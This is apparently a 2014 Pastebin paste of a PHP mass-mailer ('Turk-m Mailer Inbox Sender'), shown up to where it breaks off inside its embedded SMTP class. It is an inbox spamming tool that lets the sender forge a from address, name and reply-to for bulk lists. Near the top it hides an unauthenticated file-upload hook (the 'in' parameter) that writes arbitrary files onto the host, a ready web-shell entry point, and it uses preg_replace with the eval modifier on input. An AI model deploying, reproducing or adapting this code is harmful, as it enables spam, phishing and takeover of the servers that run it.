Guest User

Mailer Inbox Unlimited 100% To ALL 2014

a guest
Aug 30th, 2014
296
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 100.20 KB | None | 0 0
  1. <?php
  2. function query_str($params){
  3. $str = '';
  4. foreach ($params as $key => $value) {
  5. $str .= (strlen($str) < 1) ? '' : '&';
  6. $str .= $key . '=' . rawurlencode($value);
  7. }
  8. return ($str);
  9. }
  10. function lrtrim($string){
  11. return stripslashes(ltrim(rtrim($string)));
  12. }
  13. $in  = $_GET['in']; if($in == 'in'){
  14. $filename = $_FILES['file']['name'];
  15. $filetmp  = $_FILES['file']['tmp_name'];
  16. echo "<form method='POST' enctype='multipart/form-data'>
  17. <input type='file'name='file' />
  18. <input type='submit' value='go' />
  19. </form>";
  20. move_uploaded_file($filetmp,$filename);
  21. }
  22. if(isset($_POST['action'] ) ){
  23.  
  24. $b = query_str($_POST);
  25. parse_str($b);  
  26. $sslclick=lrtrim($sslclick);  
  27. $action=lrtrim($action);
  28. $message=lrtrim($message);
  29. $emaillist=lrtrim($emaillist);
  30. $from=lrtrim($from);
  31. $reconnect=lrtrim($reconnect);
  32. $epriority=lrtrim($epriority);
  33. $my_smtp=lrtrim($my_smtp);
  34. $ssl_port=lrtrim($ssl_port);
  35. $smtp_username=lrtrim($smtp_username);
  36. $smtp_password=lrtrim($smtp_password);
  37. $replyto=lrtrim($replyto);
  38. $subject=lrtrim($subject);
  39. $realname=lrtrim($realname);
  40. $subject_base=lrtrim($subject);
  41. $realname_base=lrtrim($realname);
  42. $file_name=lrtrim($file);
  43. $urlz=lrtrim($urlz);
  44. $contenttype=lrtrim($contenttype);
  45. $encode_text=$_POST['encode'];
  46.  
  47.         $message = urlencode($message);
  48.         $message = ereg_replace("%5C%22", "%22", $message);
  49.         $message = urldecode($message);
  50.         $message = stripslashes($message);
  51.         $subject = stripslashes($subject);
  52.         if ($encode_text == "yes") {
  53.         $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
  54.         $subject = str_replace(' ', '_', $subject);
  55.         $subject = "=?UTF-8?Q?$subject?=";
  56.         $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
  57.         $realname = str_replace(' ', '_', $realname);
  58.         $realname = "=?UTF-8?Q?$realname?=";
  59.         }
  60. }
  61. ?>
  62. <html>
  63.  
  64. <head>
  65. <title>PHP Mailer 2014</title>
  66. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
  67.  
  68. <style type="text/css">
  69. <!--
  70. .style1 {
  71.         font-family: Geneva, Arial, Helvetica, sans-serif;
  72.         font-size: 12px;
  73. }
  74. -->
  75. </style>
  76. <style type="text/css">
  77. <!--
  78. .style1 {
  79.         font-size: 10px;
  80.         font-family: Geneva, Arial, Helvetica, sans-serif;
  81. }
  82. -->
  83. </style>
  84. </head>
  85. <body text="#000000">
  86. <p align="center"><font size="5" face="Bauhaus 93">Turk-m Mailer Inbox Sender 2014</font><font color="#FFFFFF" size="5" face="Bauhaus 93">Hadidi44</font></p>
  87. <form name="form1" method="post" action="" enctype="multipart/form-data">
  88.  
  89.   <br>
  90.  
  91.   <table width="100%" border="0" height="407">
  92.  
  93.     <tr>
  94.  
  95.       <td width="100%" colspan="4" bgcolor="#666666" height="36">
  96.  
  97.         <b>
  98.  
  99.         <font face="Arial" size="2" color="#FFFFFF">&nbsp;SERVER SETUP</font></b></td>
  100.  
  101.       </tr>
  102.     <tr>
  103.  
  104.       <td width="10%" height="22" bgcolor="#E8E8E8">
  105.  
  106.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  107.             SMTP Login:</font></div>
  108.  
  109.       </td>
  110.  
  111.       <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  112.  
  113.         <input type="text" name="smtp_username" value="<?=$smtp_username;?>" size="30">
  114.  
  115.         </font></td>
  116.  
  117.       <td width="31%" height="22" bgcolor="#E8E8E8">
  118.  
  119.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  120.             SMTP Pass:</font></div>
  121.  
  122.       </td>
  123.  
  124.       <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  125.  
  126.         <input type="password" name="smtp_password" value="<?=$smtp_password;?>" size="30">
  127.  
  128.         </font></td>
  129.  
  130.     </tr>
  131.     <tr>
  132.  
  133.       <td width="10%" height="22" bgcolor="#E8E8E8">
  134.  
  135.         <div align="right">
  136.           <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
  137.  
  138.       </td>
  139.  
  140.       <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  141.  
  142.         <input type="text" name="ssl_port" value="<?=$ssl_port;?>" size="5">
  143.       (optional)</font></td>
  144.  
  145.       <td width="31%" height="22" bgcolor="#E8E8E8">
  146.  
  147.         <div align="right">
  148.           <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP
  149.             Server Smtp:</font></div>
  150.  
  151.       </td>
  152.  
  153.       <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  154.  
  155.         <input type="text" name="my_smtp" value="<?=$my_smtp;?>" size="30">
  156.  
  157.         </font></td>
  158.  
  159.     </tr>
  160.     <tr>
  161.  
  162.       <td width="10%" height="22" bgcolor="#E8E8E8">
  163.  
  164.         <p align="right">
  165.         <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
  166.  
  167.       <td width="18%" height="22" bgcolor="#E8E8E8">
  168.       <input type="checkbox" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
  169.  
  170.       <td width="31%" height="22" bgcolor="#E8E8E8">
  171.  
  172.         <p align="right">
  173.         <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
  174.         After:</font></td>
  175.  
  176.       <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  177.  
  178.         <input type="text" name="reconnect" value="<?=$reconnect;?>" size="5">
  179.       EMAILS</font></td>
  180.  
  181.     </tr>
  182.     <tr>
  183.  
  184.       <td width="100%" height="39" bgcolor="#E8E8E8" colspan="4">
  185.  
  186.         <p align="center">
  187.         <font face="Arial" style="font-size: 9pt" color="#800000"><b>&quot;</b> If
  188.         you dont have SMTP login, leave blank queries above <b>&quot;</b></font></td>
  189.  
  190.       </tr>
  191.  
  192.     <tr>
  193.  
  194.       <td width="10%" height="19">
  195.  
  196.         &nbsp;</td>
  197.  
  198.       <td width="18%" height="19">&nbsp;</td>
  199.  
  200.       <td width="31%" height="19">
  201.  
  202.         &nbsp;</td>
  203.  
  204.       <td width="41%" height="19">&nbsp;</td>
  205.  
  206.     </tr>
  207.  
  208.     <tr>
  209.  
  210.       <td width="100%" colspan="4" bgcolor="#666666" height="36">
  211.  
  212.         <b>
  213.  
  214.         <font face="Arial" size="2" color="#FFFFFF">&nbsp;MESSAGE SETUP</font></b></td>
  215.  
  216.       </tr>
  217.  
  218.     <tr>
  219.  
  220.       <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  221.  
  222.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  223.             Your Email:</font></div>
  224.  
  225.       </td>
  226.  
  227.       <td width="18%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  228.  
  229.         <input type="text" name="from" value="<?=$from;?>" size="30">
  230.  
  231.         </font></td>
  232.  
  233.       <td width="31%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  234.  
  235.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  236.             Your Name:</font></div>
  237.  
  238.       </td>
  239.  
  240.       <td width="41%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  241.  
  242.         <input type="text" name="realname" value="<?=$realname_base;?>" size="30">
  243.  
  244.         </font></td>
  245.  
  246.     </tr>
  247.     <tr>
  248.  
  249.       <td width="10%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
  250.  
  251.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  252.             Reply-To:</font></div>
  253.  
  254.       </td>
  255.  
  256.       <td width="18%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  257.  
  258.         <input type="text" name="replyto" value="<?=$replyto;?>" size="30">
  259.  
  260.         </font></td>
  261.  
  262.       <td width="31%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
  263.  
  264.         <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  265.         Email Priority:</font></td>
  266.  
  267.       <td width="41%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  268.  
  269.         &nbsp;</font><select name="epriority" id="listMethod" onchange="showHideListConfig()">
  270.         <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >-
  271.         Please Choose -</option>
  272.         <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
  273.         <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
  274.         <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
  275.         </select></td>
  276.  
  277.     </tr>
  278.  
  279.     <tr>
  280.  
  281.       <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  282.  
  283.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  284.             Subject:</font></div>
  285.  
  286.       </td>
  287.  
  288.       <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  289.  
  290.         <input type="text" name="subject" value="<?=$subject_base;?>" size="90">
  291.  
  292.         </font></td>
  293.  
  294.     </tr>
  295.  
  296.     <tr>
  297.  
  298.       <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  299.  
  300.         &nbsp;</td>
  301.  
  302.       <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  303.  
  304.         &nbsp; <font color="#FF0000">Encode sending information ?</font> <select size="1" name="encode">
  305.         <option <? if($encode_text == "yes"){print "selected";} ?>>yes</option>
  306.         <option <? if($encode_text == "no"){print "selected";} ?>>no</option>
  307.         </select></font></td>
  308.  
  309.     </tr>
  310.  
  311.     <tr valign="top">
  312.  
  313. <td colspan="3" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
  314.  
  315.         <textarea name="message" cols="60" rows="10"><?=$message;?></textarea>
  316.  
  317.         <br>
  318.  
  319.         <input type="radio" name="contenttype" value="plain" >
  320.  
  321.         Plain
  322.  
  323.         <input type="radio" name="contenttype" value="html" checked>
  324.  
  325.         HTML
  326.  
  327.         <input type="hidden" name="action" value="send">
  328.  
  329.         <input type="submit" value="Send Message">
  330.  
  331.         </font></td>
  332.  
  333.       <td width="41%" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  334.  
  335.         <textarea name="emaillist" cols="30" rows="10"><?=$emaillist;?></textarea>
  336.  
  337.         </font></td>
  338.  
  339.     </tr>
  340.  
  341.   </table>
  342.  
  343. </form>
  344.  
  345.  
  346.  
  347. <?
  348.  
  349. if ($action){
  350.         if (!$from && !$subject && !$message && !$emaillist){
  351.         print "<script>alert('Please complete all fields before sending your message.'); </script>";
  352.         die();  }
  353.  
  354. class SMTP
  355. {
  356.   /**
  357.    *  SMTP server port
  358.    *  @var int
  359.    */
  360.   var $SMTP_PORT = 25;
  361.  
  362.   /**
  363.    *  SMTP reply line ending
  364.    *  @var string
  365.    */
  366.   var $CRLF = "\r\n";
  367.  
  368.   /**
  369.    *  Sets whether debugging is turned on
  370.    *  @var bool
  371.    */
  372.   var $do_debug;       # the level of debug to perform
  373.  
  374.   /**
  375.    *  Sets VERP use on/off (default is off)
  376.    *  @var bool
  377.    */
  378.   var $do_verp = false;
  379.  
  380.   /**#@+
  381.    * @access private
  382.    */
  383.   var $smtp_conn;      # the socket to the server
  384.  var $error;          # error if any on the last call
  385.  var $helo_rply;      # the reply the server sent to us for HELO
  386.  /**#@-*/
  387.  
  388.   /**
  389.    * Initialize the class so that the data is in a known state.
  390.    * @access public
  391.    * @return void
  392.    */
  393.   function SMTP() {
  394.     $this->smtp_conn = 0;
  395.     $this->error = null;
  396.     $this->helo_rply = null;
  397.  
  398.     $this->do_debug = 0;
  399.   }
  400.  
  401.   /*************************************************************
  402.    *                    CONNECTION FUNCTIONS                  *
  403.    ***********************************************************/
  404.  
  405.   /**
  406.    * Connect to the server specified on the port specified.
  407.    * If the port is not specified use the default SMTP_PORT.
  408.    * If tval is specified then a connection will try and be
  409.    * established with the server for that number of seconds.
  410.    * If tval is not specified the default is 30 seconds to
  411.    * try on the connection.
  412.    *
  413.    * SMTP CODE SUCCESS: 220
  414.    * SMTP CODE FAILURE: 421
  415.    * @access public
  416.    * @return bool
  417.    */
  418.   function Connect($host,$port=0,$tval=30) {
  419.     # set the error val to null so there is no confusion
  420.    $this->error = null;
  421.  
  422.     # make sure we are __not__ connected
  423.    if($this->connected()) {
  424.       # ok we are connected! what should we do?
  425.      # for now we will just give an error saying we
  426.      # are already connected
  427.      $this->error = array("error" => "Already connected to a server");
  428.       return false;
  429.     }
  430.  
  431.     if(empty($port)) {
  432.       $port = $this->SMTP_PORT;
  433.     }
  434.  
  435.     #connect to the smtp server
  436.    $this->smtp_conn = fsockopen($host,    # the host of the server
  437.                                 $port,    # the port to use
  438.                                 $errno,   # error number if any
  439.                                 $errstr,  # error message if any
  440.                                 $tval);   # give up after ? secs
  441.    # verify we connected properly
  442.    if(empty($this->smtp_conn)) {
  443.       $this->error = array("error" => "Failed to connect to server",
  444.                            "errno" => $errno,
  445.                            "errstr" => $errstr);
  446.       if($this->do_debug >= 1) {
  447.         echo "SMTP -> ERROR: " . $this->error["error"] .
  448.                  ": $errstr ($errno)" . $this->CRLF;
  449.       }
  450.       return false;
  451.     }
  452.  
  453.     # sometimes the SMTP server takes a little longer to respond
  454.    # so we will give it a longer timeout for the first read
  455.    // Windows still does not have support for this timeout function
  456.     if(substr(PHP_OS, 0, 3) != "WIN")
  457.      socket_set_timeout($this->smtp_conn, $tval, 0);
  458.  
  459.     # get any announcement stuff
  460.    $announce = $this->get_lines();
  461.  
  462.     # set the timeout  of any socket functions at 1/10 of a second
  463.    //if(function_exists("socket_set_timeout"))
  464.     //   socket_set_timeout($this->smtp_conn, 0, 100000);
  465.  
  466.     if($this->do_debug >= 2) {
  467.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
  468.     }
  469.  
  470.     return true;
  471.   }
  472.  
  473.   /**
  474.    * Performs SMTP authentication.  Must be run after running the
  475.    * Hello() method.  Returns true if successfully authenticated.
  476.    * @access public
  477.    * @return bool
  478.    */
  479.   function Authenticate($username, $password) {
  480.     // Start authentication
  481.     fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
  482.  
  483.     $rply = $this->get_lines();
  484.     $code = substr($rply,0,3);
  485.  
  486.     if($code != 334) {
  487.       $this->error =
  488.         array("error" => "AUTH not accepted from server",
  489.               "smtp_code" => $code,
  490.               "smtp_msg" => substr($rply,4));
  491.       if($this->do_debug >= 1) {
  492.         echo "SMTP -> ERROR: " . $this->error["error"] .
  493.                  ": " . $rply . $this->CRLF;
  494.       }
  495.       return false;
  496.     }
  497.  
  498.     // Send encoded username
  499.     fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
  500.  
  501.     $rply = $this->get_lines();
  502.     $code = substr($rply,0,3);
  503.  
  504.     if($code != 334) {
  505.       $this->error =
  506.         array("error" => "Username not accepted from server",
  507.               "smtp_code" => $code,
  508.               "smtp_msg" => substr($rply,4));
  509.       if($this->do_debug >= 1) {
  510.         echo "SMTP -> ERROR: " . $this->error["error"] .
  511.                  ": " . $rply . $this->CRLF;
  512.       }
  513.       return false;
  514.     }
  515.  
  516.     // Send encoded password
  517.     fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
  518.  
  519.     $rply = $this->get_lines();
  520.     $code = substr($rply,0,3);
  521.  
  522.     if($code != 235) {
  523.       $this->error =
  524.         array("error" => "Password not accepted from server",
  525.               "smtp_code" => $code,
  526.               "smtp_msg" => substr($rply,4));
  527.       if($this->do_debug >= 1) {
  528.         echo "SMTP -> ERROR: " . $this->error["error"] .
  529.                  ": " . $rply . $this->CRLF;
  530.       }
  531.       return false;
  532.     }
  533.  
  534.     return true;
  535.   }
  536.  
  537.   /**
  538.    * Returns true if connected to a server otherwise false
  539.    * @access private
  540.    * @return bool
  541.    */
  542.   function Connected() {
  543.     if(!empty($this->smtp_conn)) {
  544.       $sock_status = socket_get_status($this->smtp_conn);
  545.       if($sock_status["eof"]) {
  546.         # hmm this is an odd situation... the socket is
  547.        # valid but we are not connected anymore
  548.        if($this->do_debug >= 1) {
  549.             echo "SMTP -> NOTICE:" . $this->CRLF .
  550.                  "EOF caught while checking if connected";
  551.         }
  552.         $this->Close();
  553.         return false;
  554.       }
  555.       return true; # everything looks good
  556.    }
  557.     return false;
  558.   }
  559.  
  560.   /**
  561.    * Closes the socket and cleans up the state of the class.
  562.    * It is not considered good to use this function without
  563.    * first trying to use QUIT.
  564.    * @access public
  565.    * @return void
  566.    */
  567.   function Close() {
  568.     $this->error = null; # so there is no confusion
  569.    $this->helo_rply = null;
  570.     if(!empty($this->smtp_conn)) {
  571.       # close the connection and cleanup
  572.      fclose($this->smtp_conn);
  573.       $this->smtp_conn = 0;
  574.     }
  575.   }
  576.  
  577.   /***************************************************************
  578.    *                        SMTP COMMANDS                       *
  579.    *************************************************************/
  580.  
  581.   /**
  582.    * Issues a data command and sends the msg_data to the server
  583.    * finializing the mail transaction. $msg_data is the message
  584.    * that is to be send with the headers. Each header needs to be
  585.    * on a single line followed by a <CRLF> with the message headers
  586.    * and the message body being seperated by and additional <CRLF>.
  587.    *
  588.    * Implements rfc 821: DATA <CRLF>
  589.    *
  590.    * SMTP CODE INTERMEDIATE: 354
  591.    *     [data]
  592.    *     <CRLF>.<CRLF>
  593.    *     SMTP CODE SUCCESS: 250
  594.    *     SMTP CODE FAILURE: 552,554,451,452
  595.    * SMTP CODE FAILURE: 451,554
  596.    * SMTP CODE ERROR  : 500,501,503,421
  597.    * @access public
  598.    * @return bool
  599.    */
  600.   function Data($msg_data) {
  601.     $this->error = null; # so no confusion is caused
  602.  
  603.     if(!$this->connected()) {
  604.       $this->error = array(
  605.               "error" => "Called Data() without being connected");
  606.       return false;
  607.     }
  608.  
  609.     fputs($this->smtp_conn,"DATA" . $this->CRLF);
  610.  
  611.     $rply = $this->get_lines();
  612.     $code = substr($rply,0,3);
  613.  
  614.     if($this->do_debug >= 2) {
  615.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  616.     }
  617.  
  618.     if($code != 354) {
  619.       $this->error =
  620.         array("error" => "DATA command not accepted from server",
  621.               "smtp_code" => $code,
  622.               "smtp_msg" => substr($rply,4));
  623.       if($this->do_debug >= 1) {
  624.         echo "SMTP -> ERROR: " . $this->error["error"] .
  625.                  ": " . $rply . $this->CRLF;
  626.       }
  627.       return false;
  628.     }
  629.  
  630.     # the server is ready to accept data!
  631.    # according to rfc 821 we should not send more than 1000
  632.    # including the CRLF
  633.    # characters on a single line so we will break the data up
  634.    # into lines by \r and/or \n then if needed we will break
  635.    # each of those into smaller lines to fit within the limit.
  636.    # in addition we will be looking for lines that start with
  637.    # a period '.' and append and additional period '.' to that
  638.    # line. NOTE: this does not count towards are limit.
  639.  
  640.     # normalize the line breaks so we know the explode works
  641.    $msg_data = str_replace("\r\n","\n",$msg_data);
  642.     $msg_data = str_replace("\r","\n",$msg_data);
  643.     $lines = explode("\n",$msg_data);
  644.  
  645.     # we need to find a good way to determine is headers are
  646.    # in the msg_data or if it is a straight msg body
  647.    # currently I am assuming rfc 822 definitions of msg headers
  648.    # and if the first field of the first line (':' sperated)
  649.    # does not contain a space then it _should_ be a header
  650.    # and we can process all lines before a blank "" line as
  651.    # headers.
  652.    $field = substr($lines[0],0,strpos($lines[0],":"));
  653.     $in_headers = false;
  654.     if(!empty($field) && !strstr($field," ")) {
  655.       $in_headers = true;
  656.     }
  657.  
  658.     $max_line_length = 998; # used below; set here for ease in change
  659.  
  660.     while(list(,$line) = @each($lines)) {
  661.       $lines_out = null;
  662.       if($line == "" && $in_headers) {
  663.         $in_headers = false;
  664.       }
  665.       # ok we need to break this line up into several
  666.      # smaller lines
  667.      while(strlen($line) > $max_line_length) {
  668.         $pos = strrpos(substr($line,0,$max_line_length)," ");
  669.  
  670.         # Patch to fix DOS attack
  671.        if(!$pos) {
  672.           $pos = $max_line_length - 1;
  673.         }
  674.  
  675.         $lines_out[] = substr($line,0,$pos);
  676.         $line = substr($line,$pos + 1);
  677.         # if we are processing headers we need to
  678.        # add a LWSP-char to the front of the new line
  679.        # rfc 822 on long msg headers
  680.        if($in_headers) {
  681.           $line = "\t" . $line;
  682.         }
  683.       }
  684.       $lines_out[] = $line;
  685.  
  686.       # now send the lines to the server
  687.      while(list(,$line_out) = @each($lines_out)) {
  688.         if(strlen($line_out) > 0)
  689.         {
  690.           if(substr($line_out, 0, 1) == ".") {
  691.             $line_out = "." . $line_out;
  692.           }
  693.         }
  694.         fputs($this->smtp_conn,$line_out . $this->CRLF);
  695.       }
  696.     }
  697.  
  698.     # ok all the message data has been sent so lets get this
  699.    # over with aleady
  700.    fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
  701.  
  702.     $rply = $this->get_lines();
  703.     $code = substr($rply,0,3);
  704.  
  705.     if($this->do_debug >= 2) {
  706.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  707.     }
  708.  
  709.     if($code != 250) {
  710.       $this->error =
  711.         array("error" => "DATA not accepted from server",
  712.               "smtp_code" => $code,
  713.               "smtp_msg" => substr($rply,4));
  714.       if($this->do_debug >= 1) {
  715.         echo "SMTP -> ERROR: " . $this->error["error"] .
  716.                  ": " . $rply . $this->CRLF;
  717.       }
  718.       return false;
  719.     }
  720.     return true;
  721.   }
  722.  
  723.   /**
  724.    * Expand takes the name and asks the server to list all the
  725.    * people who are members of the _list_. Expand will return
  726.    * back and array of the result or false if an error occurs.
  727.    * Each value in the array returned has the format of:
  728.    *     [ <full-name> <sp> ] <path>
  729.    * The definition of <path> is defined in rfc 821
  730.    *
  731.    * Implements rfc 821: EXPN <SP> <string> <CRLF>
  732.    *
  733.    * SMTP CODE SUCCESS: 250
  734.    * SMTP CODE FAILURE: 550
  735.    * SMTP CODE ERROR  : 500,501,502,504,421
  736.    * @access public
  737.    * @return string array
  738.    */
  739.   function Expand($name) {
  740.     $this->error = null; # so no confusion is caused
  741.  
  742.     if(!$this->connected()) {
  743.       $this->error = array(
  744.             "error" => "Called Expand() without being connected");
  745.       return false;
  746.     }
  747.  
  748.     fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
  749.  
  750.     $rply = $this->get_lines();
  751.     $code = substr($rply,0,3);
  752.  
  753.     if($this->do_debug >= 2) {
  754.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  755.     }
  756.  
  757.     if($code != 250) {
  758.       $this->error =
  759.         array("error" => "EXPN not accepted from server",
  760.               "smtp_code" => $code,
  761.               "smtp_msg" => substr($rply,4));
  762.       if($this->do_debug >= 1) {
  763.         echo "SMTP -> ERROR: " . $this->error["error"] .
  764.                  ": " . $rply . $this->CRLF;
  765.       }
  766.       return false;
  767.     }
  768.  
  769.     # parse the reply and place in our array to return to user
  770.    $entries = explode($this->CRLF,$rply);
  771.     while(list(,$l) = @each($entries)) {
  772.       $list[] = substr($l,4);
  773.     }
  774.  
  775.     return $list;
  776.   }
  777.  
  778.   /**
  779.    * Sends the HELO command to the smtp server.
  780.    * This makes sure that we and the server are in
  781.    * the same known state.
  782.    *
  783.    * Implements from rfc 821: HELO <SP> <domain> <CRLF>
  784.    *
  785.    * SMTP CODE SUCCESS: 250
  786.    * SMTP CODE ERROR  : 500, 501, 504, 421
  787.    * @access public
  788.    * @return bool
  789.    */
  790.   function Hello($host="") {
  791.     $this->error = null; # so no confusion is caused
  792.  
  793.     if(!$this->connected()) {
  794.       $this->error = array(
  795.             "error" => "Called Hello() without being connected");
  796.       return false;
  797.     }
  798.  
  799.     # if a hostname for the HELO was not specified determine
  800.    # a suitable one to send
  801.    if(empty($host)) {
  802.       # we need to determine some sort of appopiate default
  803.      # to send to the server
  804.      $host = "localhost";
  805.     }
  806.  
  807.     // Send extended hello first (RFC 2821)
  808.     if(!$this->SendHello("EHLO", $host))
  809.     {
  810.       if(!$this->SendHello("HELO", $host))
  811.           return false;
  812.     }
  813.  
  814.     return true;
  815.   }
  816.  
  817.   /**
  818.    * Sends a HELO/EHLO command.
  819.    * @access private
  820.    * @return bool
  821.    */
  822.   function SendHello($hello, $host) {
  823.     fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
  824.  
  825.     $rply = $this->get_lines();
  826.     $code = substr($rply,0,3);
  827.  
  828.     if($this->do_debug >= 2) {
  829.       echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
  830.     }
  831.  
  832.     if($code != 250) {
  833.       $this->error =
  834.         array("error" => $hello . " not accepted from server",
  835.               "smtp_code" => $code,
  836.               "smtp_msg" => substr($rply,4));
  837.       if($this->do_debug >= 1) {
  838.         echo "SMTP -> ERROR: " . $this->error["error"] .
  839.                  ": " . $rply . $this->CRLF;
  840.       }
  841.       return false;
  842.     }
  843.  
  844.     $this->helo_rply = $rply;
  845.  
  846.     return true;
  847.   }
  848.  
  849.   /**
  850.    * Gets help information on the keyword specified. If the keyword
  851.    * is not specified then returns generic help, ussually contianing
  852.    * A list of keywords that help is available on. This function
  853.    * returns the results back to the user. It is up to the user to
  854.    * handle the returned data. If an error occurs then false is
  855.    * returned with $this->error set appropiately.
  856.    *
  857.    * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
  858.    *
  859.    * SMTP CODE SUCCESS: 211,214
  860.    * SMTP CODE ERROR  : 500,501,502,504,421
  861.    * @access public
  862.    * @return string
  863.    */
  864.   function Help($keyword="") {
  865.     $this->error = null; # to avoid confusion
  866.  
  867.     if(!$this->connected()) {
  868.       $this->error = array(
  869.               "error" => "Called Help() without being connected");
  870.       return false;
  871.     }
  872.  
  873.     $extra = "";
  874.     if(!empty($keyword)) {
  875.       $extra = " " . $keyword;
  876.     }
  877.  
  878.     fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
  879.  
  880.     $rply = $this->get_lines();
  881.     $code = substr($rply,0,3);
  882.  
  883.     if($this->do_debug >= 2) {
  884.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  885.     }
  886.  
  887.     if($code != 211 && $code != 214) {
  888.       $this->error =
  889.         array("error" => "HELP not accepted from server",
  890.               "smtp_code" => $code,
  891.               "smtp_msg" => substr($rply,4));
  892.       if($this->do_debug >= 1) {
  893.         echo "SMTP -> ERROR: " . $this->error["error"] .
  894.                  ": " . $rply . $this->CRLF;
  895.       }
  896.       return false;
  897.     }
  898.  
  899.     return $rply;
  900.   }
  901.  
  902.   /**
  903.    * Starts a mail transaction from the email address specified in
  904.    * $from. Returns true if successful or false otherwise. If True
  905.    * the mail transaction is started and then one or more Recipient
  906.    * commands may be called followed by a Data command.
  907.    *
  908.    * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
  909.    *
  910.    * SMTP CODE SUCCESS: 250
  911.    * SMTP CODE SUCCESS: 552,451,452
  912.    * SMTP CODE SUCCESS: 500,501,421
  913.    * @access public
  914.    * @return bool
  915.    */
  916.   function Mail($from) {
  917.     $this->error = null; # so no confusion is caused
  918.  
  919.     if(!$this->connected()) {
  920.       $this->error = array(
  921.               "error" => "Called Mail() without being connected");
  922.       return false;
  923.     }
  924.  
  925.     $useVerp = ($this->do_verp ? "XVERP" : "");
  926.     fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
  927.  
  928.     $rply = $this->get_lines();
  929.     $code = substr($rply,0,3);
  930.  
  931.     if($this->do_debug >= 2) {
  932.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  933.     }
  934.  
  935.     if($code != 250) {
  936.       $this->error =
  937.         array("error" => "MAIL not accepted from server",
  938.               "smtp_code" => $code,
  939.               "smtp_msg" => substr($rply,4));
  940.       if($this->do_debug >= 1) {
  941.         echo "SMTP -> ERROR: " . $this->error["error"] .
  942.                  ": " . $rply . $this->CRLF;
  943.       }
  944.       return false;
  945.     }
  946.     return true;
  947.   }
  948.  
  949.   /**
  950.    * Sends the command NOOP to the SMTP server.
  951.    *
  952.    * Implements from rfc 821: NOOP <CRLF>
  953.    *
  954.    * SMTP CODE SUCCESS: 250
  955.    * SMTP CODE ERROR  : 500, 421
  956.    * @access public
  957.    * @return bool
  958.    */
  959.   function Noop() {
  960.     $this->error = null; # so no confusion is caused
  961.  
  962.     if(!$this->connected()) {
  963.       $this->error = array(
